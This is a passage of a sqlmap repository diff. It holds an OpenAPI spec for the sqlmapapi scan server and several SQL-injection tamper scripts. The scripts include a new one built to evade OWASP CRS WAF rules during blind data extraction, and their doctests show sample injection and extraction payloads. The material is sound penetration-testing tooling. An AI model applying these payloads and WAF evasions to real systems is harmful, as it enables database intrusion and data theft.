behavior. + * The API starts scans by spawning sqlmap in a separate process and storing + logs/data in the configured IPC database. + license: + name: GPL-2.0-only or commercial + url: https://github.com/sqlmapproject/sqlmap/blob/master/LICENSE + contact: + name: sqlmap project + url: https://sqlmap.org +externalDocs: + description: sqlmap project repository + url: https://github.com/sqlmapproject/sqlmap +servers: + - url: http://127.0.0.1:8775 + description: Default local sqlmapapi.py server +security: + - basicAuth: [] +tags: + - name: Version + description: Server/version metadata + - name: Tasks + description: Task lifecycle management + - name: Options + description: Task option inspection and mutation + - name: Scans + description: Scan process lifecycle, status, logs, and results + - name: Admin + description: Task pool administration + - name: Files + description: Retrieval of output files +paths: + /version: + get: + tags: [Version] + operationId: getVersion + summary: Fetch server and API version + description: >- + Returns the sqlmap version string and the API contract version (api_version), which follows + semantic versioning independently of the sqlmap version so clients can check compatibility. + responses: + "200": + description: Server and API version returned. + content: + application/json: + schema: + $ref: "#/components/schemas/VersionResponse" + examples: + success: + value: + success: true + version: "1.10.6.51#dev" + api_version: 2 + "401": + $ref: "#/components/responses/Unauthorized" + + /task/new: + get: + tags: [Tasks] + operationId: createTask + summary: Create a new task + description: Creates an empty task and returns a 16-character hexadecimal task ID. + responses: + "200": + description: Task created. + content: + application/json: + schema: + $ref: "#/components/schemas/TaskNewResponse" + examples: + success: + value: + success: true + taskid: "fad44d6beef72285" + "401": + $ref: "#/components/responses/Unauthorized" + + /task/{taskid}/delete: + get: + tags: [Tasks] + operationId: deleteTask + summary: Delete an existing task + description: Kills the task process, if still running, and removes the task from the in-memory task pool. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Task deleted. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + "404": + description: Non-existing task ID. + content: + application/json: + schema: + $ref: "#/components/schemas/ErrorResponse" + examples: + notFound: + value: + success: false + message: Non-existing task ID + + /admin/list: + get: + tags: [Admin] + operationId: listTasksForRemoteAddress + summary: List visible tasks + description: | + Lists task statuses visible to the caller. Without the admin token path variant, + the server returns tasks associated with the same remote address. + responses: + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/list: + get: + tags: [Admin] + operationId: listTasksWithAdminToken + summary: List all tasks with admin token + description: Lists all task statuses when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" + responses: + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/flush: + get: + tags: [Admin] + operationId: flushTasksForRemoteAddress + summary: Flush visible tasks + description: | + Kills and removes tasks visible to the caller. Without the admin token path variant, + the server flushes tasks associated with the same remote address. + responses: + "200": + description: Matching tasks flushed. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/flush: + get: + tags: [Admin] + operationId: flushTasksWithAdminToken + summary: Flush all tasks with admin token + description: Kills and removes all tasks when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" + responses: + "200": + description: Matching tasks flushed. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/list: + get: + tags: [Options] + operationId: listOptions + summary: List task options + description: Returns the current option object for a task. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Options returned, or an API-level failure envelope for an invalid task ID. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/OptionListResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + batch: true + threads: 1 + invalidTask: + value: + success: false + message: Invalid task ID + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/get: + post: + tags: [Options] + operationId: getOptions + summary: Get selected task options + description: Returns values for the requested option names. + parameters: + - $ref: "#/components/parameters/TaskId" + requestBody: + required: false + content: + application/json: + schema: + $ref: "#/components/schemas/OptionGetRequest" + examples: + selectedOptions: + value: ["url", "cookie"] + responses: + "200": + description: Selected options returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/OptionGetResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/set: + post: + tags: [Options] + operationId: setOptions + summary: Set task options + description: | + Sets one or more options on a task. Values are persisted in the task option + object and are used when the scan is started. + + Unsupported, read-only, and unknown options are rejected with `success: false`. + parameters: + - $ref: "#/components/parameters/TaskId" + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/SqlmapOptions" + examples: + setCookie: + value: + cookie: "id=1" + setTarget: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + responses: + "200": + description: Options set, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidJson: + value: + success: false + message: Invalid JSON options + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/start: + post: + tags: [Scans] + operationId: startScan + summary: Launch a scan + description: | + Applies the provided options to the task and starts sqlmap in a separate process. + The response contains the spawned engine process ID. + + Unsupported, read-only, and unknown options are rejected with `success: false`. + Starting a scan for an already running task returns `success: false`. + parameters: + - $ref: "#/components/parameters/TaskId" + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/SqlmapOptions" + examples: + basicUrlScan: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + responses: + "200": + description: Scan started, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/ScanStartResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + engineid: 19720 + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + scanAlreadyRunning: + value: + success: false + message: Scan already running + invalidJson: + value: + success: false + message: Invalid JSON options + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/stop: + get: + tags: [Scans] + operationId: stopScan + summary: Stop a scan + description: Terminates the running scan process for the task and waits for process exit. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/kill: + get: + tags: [Scans] + operationId: killScan + summary: Kill a scan + description: Force-kills the running scan process for the task and waits for process exit. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/status: + get: + tags: [Scans] + operationId: getScanStatus + summary: Fetch scan status + description: Returns the process status and return code for the task. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Scan status returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/ScanStatusResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + running: + value: + success: true + status: running + returncode: null + terminated: + value: + success: true + status: terminated + returncode: 0 + notRunning: + value: + success: true + status: not running + returncode: null + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/data: + get: + tags: [Scans] + operationId: getScanData + summary: Retrieve scan data + description: Returns structured scan output and recorded error messages for the task. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Scan data returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/ScanDataResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + data: + - status: 1 + type: 2 + type_name: DBMS_FINGERPRINT + value: "back-end DBMS: MySQL >= 5.1" + - status: 1 + type: 4 + type_name: CURRENT_USER + value: "root@%" + - status: 1 + type: 12 + type_name: DBS + value: ["information_schema", "mysql", "testdb"] + - status: 1 + type: 1 + type_name: TECHNIQUES + value: + - place: GET + parameter: id + dbms: MySQL + dbms_version: [">= 5.1"] + os: null + notes: [] + data: + - technique: "boolean-based blind" + title: "AND boolean-based blind - WHERE or HAVING clause" + payload: "id=1 AND 7997=7997" + vector: "AND [INFERENCE]" + comment: "" + - status: 1 + type: 17 + type_name: DUMP_TABLE + value: + db: testdb + table: users + count: 2 + columns: + id: ["1", "2"] + name: ["admin", null] + error: [] + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/log: + get: + tags: [Scans] + operationId: getScanLog + summary: Retrieve all scan log messages + description: Returns all recorded log messages for the task. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/log/{start}/{end}: + get: + tags: [Scans] + operationId: getScanLogRange + summary: Retrieve a bounded scan log range + description: Returns log messages with database IDs from `start` through `end`, inclusive. + parameters: + - $ref: "#/components/parameters/TaskId" + - name: start + in: path + required: true + description: Inclusive starting log row ID. Must be a positive integer. + schema: + type: integer + minimum: 1 + example: 1 + - name: end + in: path + required: true + description: Inclusive ending log row ID. Must be greater than or equal to `start`. + schema: + type: integer + minimum: 1 + example: 100 + responses: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /download/{taskid}/{target}/{filename}: + get: + tags: [Files] + operationId: downloadOutputFile + summary: Download an output file + description: | + Retrieves a file from sqlmap's output directory for the given task/target and + returns it as Base64 in JSON. + + Implementation note: `filename` is a Bottle `:path` parameter and may contain + slash characters in the running server. Some OpenAPI tooling requires those + slashes to be URL-encoded or handled with a custom client. + x-bottle-path-parameter: filename + parameters: + - $ref: "#/components/parameters/TaskId" + - name: target + in: path + required: true + description: Target output-directory name. + schema: + type: string + example: sekumart.sekuripy.hr + - name: filename + in: path + required: true + description: Output file path relative to the target directory. + allowReserved: true + schema: + type: string + example: log + responses: + "200": + description: File returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/DownloadResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + file: "SGVsbG8K" + forbidden: + value: + success: false + message: Forbidden path + missing: + value: + success: false + message: File does not exist + "401": + $ref: "#/components/responses/Unauthorized" + +components: + securitySchemes: + basicAuth: + type: http + scheme: basic + description: | + HTTP Basic authentication using the `--username` and `--password` values + supplied to sqlmapapi.py. Hardened builds should require both values. + + parameters: + TaskId: + name: taskid + in: path + required: true + description: 16-character hexadecimal scan task ID. + schema: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + AdminToken: + name: token + in: path + required: true + description: Server-generated admin token printed when sqlmapapi.py starts. + schema: + type: string + pattern: "^[0-9a-fA-F]{32}$" + example: "0123456789abcdef0123456789abcdef" + + responses: + Unauthorized: + description: Missing or invalid HTTP Basic credentials. The response body is empty. + AdminList: + description: Task pool listing returned. + content: + application/json: + schema: + $ref: "#/components/schemas/AdminListResponse" + examples: + success: + value: + success: true + tasks: + fad44d6beef72285: running + c04d8c5c7582efb4: terminated + tasks_num: 2 + ScanControl: + description: Scan control action completed, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidTask: + value: + success: false + message: Invalid task ID + ScanLog: + description: Scan log returned, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/ScanLogResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + log: + - time: "12:34:56" + level: INFO + message: testing connection to the target URL + invalidRange: + value: + success: false + message: Invalid start or end value, must be digits + + schemas: + ErrorResponse: + type: object + required: [success, message] + properties: + success: + type: boolean + enum: [false] + message: + type: string + additionalProperties: false + + SimpleSuccessResponse: + type: object + required: [success] + properties: + success: + type: boolean + enum: [true] + additionalProperties: false + + VersionResponse: + type: object + required: [success, version, api_version] + properties: + success: + type: boolean + enum: [true] + version: + type: string + description: sqlmap version string without the `sqlmap/` prefix. + example: "1.10.6.51#dev" + api_version: + type: integer + description: >- + MAJOR API-contract version (integer), independent of the sqlmap version. Only the major + is exposed at runtime because only a major bump breaks clients; the full semantic version + is this document's info.version. Clients compare e.g. api_version == 2. + example: 2 + additionalProperties: false + + TaskNewResponse: + type: object + required: [success, taskid] + properties: + success: + type: boolean + enum: [true] + taskid: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + additionalProperties: false + + AdminListResponse: + type: object + required: [success, tasks, tasks_num] + properties: + success: + type: boolean + enum: [true] + tasks: + type: object + description: Object keyed by task ID, with current task status as the value. + additionalProperties: + $ref: "#/components/schemas/ScanStatus" + example: + fad44d6beef72285: running + tasks_num: + type: integer + minimum: 0 + example: 1 + additionalProperties: false + + ScanStatus: + type: string + enum: + - not running + - running + - terminated + + OptionValue: + description: Value accepted by sqlmap options. The exact type depends on the option. + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + + SqlmapOptions: + type: object + description: | + Dynamic object containing sqlmap option names and values. Option names map to + sqlmap's internal option dictionary. Unsupported, read-only, and unknown + options are rejected by endpoints that accept this object. + additionalProperties: + $ref: "#/components/schemas/OptionValue" + example: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + batch: true + threads: 1 + + OptionListResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + OptionGetRequest: + type: array + description: List of option names to return. Empty or missing input returns an empty options object. + items: + type: string + minLength: 1 + example: + - url + - cookie + + OptionGetResponse: + type: object + required: [success, options] + properties: + success: + type: boolean + enum: [true] + options: + $ref: "#/components/schemas/SqlmapOptions" + additionalProperties: false + + ScanStartResponse: + type: object + required: [success, engineid] + properties: + success: + type: boolean + enum: [true] + engineid: + type: integer + description: Process ID of the spawned sqlmap engine. + example: 19720 + additionalProperties: false + + ScanStatusResponse: + type: object + required: [success, status, returncode] + properties: + success: + type: boolean + enum: [true] + status: + $ref: "#/components/schemas/ScanStatus" + returncode: + type: integer + nullable: true + description: Process return code, or null when no process is running or the process has not exited. + example: 0 + additionalProperties: false + + ScanDataItem: + type: object + required: [status, type, type_name, value] + properties: + status: + type: integer + description: Numeric content status (0 = in progress, 1 = complete). + example: 1 + type: + type: integer + description: Numeric content type stored by sqlmap. + example: 2 + type_name: + type: string + nullable: true + description: >- + Human-readable name of the content type (e.g. "DBMS_FINGERPRINT", "CURRENT_USER", + "DBS", "TECHNIQUES", "DUMP_TABLE"). null for any unmapped type. + example: DBMS_FINGERPRINT + value: + anyOf: + - type: string + nullable: true + - type: boolean + - type: integer + - type: number + - type: array + items: {} + - type: object + additionalProperties: true + description: >- + JSON-decoded scan output value; its shape depends on the content type. Internal + plumbing is stripped: TECHNIQUES is a list of injection points whose "data" is a list of + techniques each named via a "technique" field (matchRatio/trueCode/falseCode/ + templatePayload/where/conf are not exposed); DUMP_TABLE is + {db, table, count, columns: {column: [values]}} (the internal __infos__ wrapper and + per-column length are not exposed). + additionalProperties: true + + ScanDataResponse: + type: object + required: [success, data, error] + properties: + success: + type: boolean + enum: [true] + data: + type: array + items: + $ref: "#/components/schemas/ScanDataItem" + error: + type: array + items: + type: string + additionalProperties: false + + LogEntry: + type: object + required: [time, level, message] + properties: + time: + type: string + description: Server-local time in HH:MM:SS format. + pattern: "^[0-2][0-9]:[0-5][0-9]:[0-5][0-9]$" + example: "12:34:56" + level: + type: string + description: Python logging level name. + example: INFO + message: + type: string + example: testing connection to the target URL + additionalProperties: false + + ScanLogResponse: + type: object + required: [success, log] + properties: + success: + type: boolean + enum: [true] + log: + type: array + items: + $ref: "#/components/schemas/LogEntry" + additionalProperties: false + + DownloadResponse: + type: object + required: [success, file] + properties: + success: + type: boolean + enum: [true] + file: + type: string + format: byte + description: Base64-encoded file content. + example: SGVsbG8K + additionalProperties: false diff --git a/tamper/0eunion.py b/tamper/0eunion.py new file mode 100644 index 00000000000..5a52c92fa06 --- /dev/null +++ b/tamper/0eunion.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces an integer followed by UNION with an integer followed by e0UNION + + Requirement: + * MySQL + * MsSQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1e0UNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload diff --git a/tamper/__init__.py b/tamper/__init__.py index 8d7bcd8f0a1..bcac841631b 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 78c17f32881..9562002a131 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY @@ -14,13 +14,13 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character with its UTF-8 full width counterpart + Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 - * http://lukasz.pilorz.net/testy/unicode_conversion/ - * http://sla.ckers.org/forum/read.php?13,11562,11850 - * http://lukasz.pilorz.net/testy/full_width_utf/index.phps + * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ + * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 + * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 6b0930679ac..0cbafe30cd6 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character with its illegal double unicode counterpart + Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index faae3a2e494..92a5fb3ef5c 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,20 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import os + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS)) def tamper(payload, **kwargs): """ - Appends encoded NULL byte character at the end of payload + Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access diff --git a/tamper/base64encode.py b/tamper/base64encode.py index cda5619dd61..b5de4e74970 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,26 +1,24 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import base64 - +from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY -from lib.core.settings import UNICODE_ENCODING -__priority__ = PRIORITY.LOWEST +__priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ - Base64 all characters in a given payload + Encodes the entire payload using Base64 >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ - return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload + return encodeBase64(payload, binary=False) if payload else payload diff --git a/tamper/between.py b/tamper/between.py index f7331bd9f0a..5b289cb8a4c 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -16,8 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' - Replaces equals operator ('=') with 'BETWEEN # AND #' + Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 @@ -35,25 +34,26 @@ def tamper(payload, **kwargs): '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--' + >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') + '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' """ retVal = payload if payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*>\s*([^>]+)\s*\Z", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^>]+?)\s*(?<![<])>(?!=)\s*([^>]+)\s*\Z", payload) # Note: avoiding compound operators (e.g. >=, <>) if match: _ = "%s %s NOT BETWEEN 0 AND %s" % (match.group(2), match.group(4), match.group(5)) retVal = retVal.replace(match.group(0), _) else: - retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", " NOT BETWEEN 0 AND \g<1>", payload) + retVal = re.sub(r"\s*(?<![<])>(?!=)\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*(?<![<>!])=(?!=)\s*([\w()]+)\s*", payload) # Note: avoiding compound operators (e.g. >=, !=) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) retVal = retVal.replace(match.group(0), _) - return retVal diff --git a/tamper/binary.py b/tamper/binary.py new file mode 100644 index 00000000000..0259b2911da --- /dev/null +++ b/tamper/binary.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Injects the keyword binary where applicable + + Requirement: + * MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') + '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' + >>> tamper('1 AND 2>1') + '1 AND binary 2>binary 1' + >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') + 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) + retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) + retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) + retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) + retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) + + return retVal diff --git a/tamper/blindbinary.py b/tamper/blindbinary.py new file mode 100644 index 00000000000..41f0d7bd7f4 --- /dev/null +++ b/tamper/blindbinary.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.NORMAL + +def dependencies(): + pass + +def _balancedEnd(payload, start): + """Index of the ')' matching the '(' at payload[start] (or -1).""" + depth = 0 + idx = start + while idx < len(payload): + if payload[idx] == '(': + depth += 1 + elif payload[idx] == ')': + depth -= 1 + if depth == 0: + return idx + idx += 1 + return -1 + +def _reshape(payload, opener, tail, build): + """Replace every 'opener(<balanced query>)<tail>' with build(query, tail-match).""" + retVal = payload + pos = 0 + while True: + match = re.search(opener, retVal[pos:]) + if not match: + break + start = pos + match.start() + cursor = pos + match.end() # should sit on the '(' of the query argument + if cursor >= len(retVal) or retVal[cursor] != '(': + pos = pos + match.end() + continue + end = _balancedEnd(retVal, cursor) + if end < 0: + pos = pos + match.end() + continue + query = retVal[cursor:end + 1] # '(<query>)' + rest = re.match(tail, retVal[end + 1:]) + if not rest: + pos = pos + match.end() + continue + replacement = build(query, rest) + retVal = retVal[:start] + replacement + retVal[end + 1 + rest.end():] + pos = start + len(replacement) + return retVal + +def tamper(payload, **kwargs): + """ + Rewrites blind single-character reads into a firewall-transparent, byte-ordered comparison that + sheds the function names anomaly-scoring WAFs key on: + + * MySQL: ORD(MID((<q>),<p>,1))><n> + -> RIGHT(LEFT((<q>),<p>),(<p><=CHAR_LENGTH((<q>))))>BINARY 0x<nn> + * SQL Server: UNICODE(SUBSTRING((<q>),<p>,1))><n> (also ASCII(SUBSTRING(...))) + -> CAST(RIGHT(LEFT((<q>),<p>),CASE WHEN <p><=LEN((<q>)) THEN 1 ELSE 0 END) AS VARBINARY)>0x<nn> + + Requirement: + * MySQL or Microsoft SQL Server + + Notes: + * Bypasses anomaly-scoring WAFs (e.g. OWASP CRS) that score the function names + ORD/MID/ASCII/SUBSTRING/UNICODE (rule 942151) and the function-comparison shape (942190). + LEFT/RIGHT are not in those blocklists, so the cumulative score collapses (often to 0) while + the single-character, byte-ordered semantics of the bisection are preserved. + * MySQL 'BINARY' / SQL Server '... AS VARBINARY' force a byte (case- and accent-sensitive) + comparison, so extraction stays exact under a case-insensitive default collation. Both use a + native hex literal (0x<nn>), so nothing needs string-escaping. + * The character count is guarded (1 inside the string, 0 past its end), so a position beyond the + end yields RIGHT(...,0)='' which compares below every byte - the NULL terminator that stops + extraction, exactly like the original. A constant 1 would keep returning the last character + forever and never terminate. + + >>> tamper('1 AND ORD(MID((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5,1))>71') + '1 AND RIGHT(LEFT((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1),5),(5<=CHAR_LENGTH((SELECT IFNULL(CAST(name AS NCHAR),0x20) FROM users ORDER BY id LIMIT 0,1))))>BINARY 0x47' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))>0') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))>BINARY 0x00' + >>> tamper('1 AND 5141=5141') + '1 AND 5141=5141' + >>> tamper('1 AND ORD(MID((SELECT 1),1,1))<65') + '1 AND RIGHT(LEFT((SELECT 1),1),(1<=CHAR_LENGTH((SELECT 1))))<BINARY 0x41' + >>> tamper('1 AND UNICODE(SUBSTRING((SELECT TOP 1 name FROM users),3,1))>64') + '1 AND CAST(RIGHT(LEFT((SELECT TOP 1 name FROM users),3),CASE WHEN 3<=LEN((SELECT TOP 1 name FROM users)) THEN 1 ELSE 0 END) AS VARBINARY)>0x40' + """ + + if not payload: + return payload + + def _mysql(query, rest): + position, operator, value = rest.group(1), rest.group(2), int(rest.group(3)) + return "RIGHT(LEFT(%s,%s),(%s<=CHAR_LENGTH(%s)))%sBINARY 0x%02x" % (query, position, position, query, operator, value) + + def _mssql(query, rest): + position, 